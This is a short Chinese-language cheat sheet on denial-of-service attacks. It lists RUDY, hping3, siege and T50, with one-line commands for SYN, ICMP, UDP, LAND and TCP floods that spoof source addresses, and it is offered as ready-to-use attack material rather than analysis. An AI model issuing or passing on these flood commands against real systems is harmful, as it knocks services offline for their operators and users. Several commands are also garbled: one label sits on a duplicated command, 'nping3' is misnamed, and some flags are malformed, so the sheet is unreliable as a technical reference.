拒绝服务攻击

                    拒绝服务攻击基础知识
DDos分布式拒绝服务攻击
一对一的攻击，多对一的攻击。
原理：
占用服务器资源从而达到资源用尽，拒绝服务。
基本的工具：

RUDY
脚本下载地址https：//sourceforge.net/projects/r-u-dead-ret/
特点：
慢速应用层http post攻击与slowhttptest的原理相同，每次只传输一个字节，攻击有表单的
web页面。
过程：
下载Python源码  配置文件==攻击有表单的web的页面。

hping3
几乎可以定制发送任何tcp/IP数据包，用于测试fm，端口扫描，性能测试
synFlood攻击：
-hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand -source 1.1.1.1
-hping3 -s -p -U -p 80 --flood --rand -source 1.1.1.1
-hping3 -SARFUP -p 80 --flood -rand -source 1.1.1.1(TCP Flood)
ICMP攻击：
-hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 1.1.1.2
UDP Flood攻击：
-hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 1.1.1.2
-hping3 -a 1.1.1.1 -udp -s 53 -d 100 -p53 --flood 1.1.1.2

LAND攻击：
特殊种类的SYN Flood攻击
源地址 目的地址 都是受害者与自己的完成三次握手
-hping3 -n -a 1.1.1.1 -S -d 100 -p 80 --flood 1.1.1.1

TCP全链接Dos攻击
-nping3 -n -a 1.1.1.1 -S -d 100 -p 80 --flood 1.1.1.1

查询公网IP：
-nping3 --echo -client "public" echo .nmap.org --udp

siege
1，http/https压力测试工具模拟多个用户并发访问请求
2，-siege -g http://1.1.1.1
3，-siege -i -c 1000 http://1.1.1.1 -A siegehttp
4，后缀+vv即可查看实时请求。
5，攻击多可网址，使用-f调用字典文件
	./ect/siege/urls.txt

T50网络压力测试
-t50 1.1.1.1 --flood --turbo -S --protocol TCP --dport 80
-t50 1.1.1.1 --flood --turbo -S --TCP --UDP OSPE EIGRP --dport22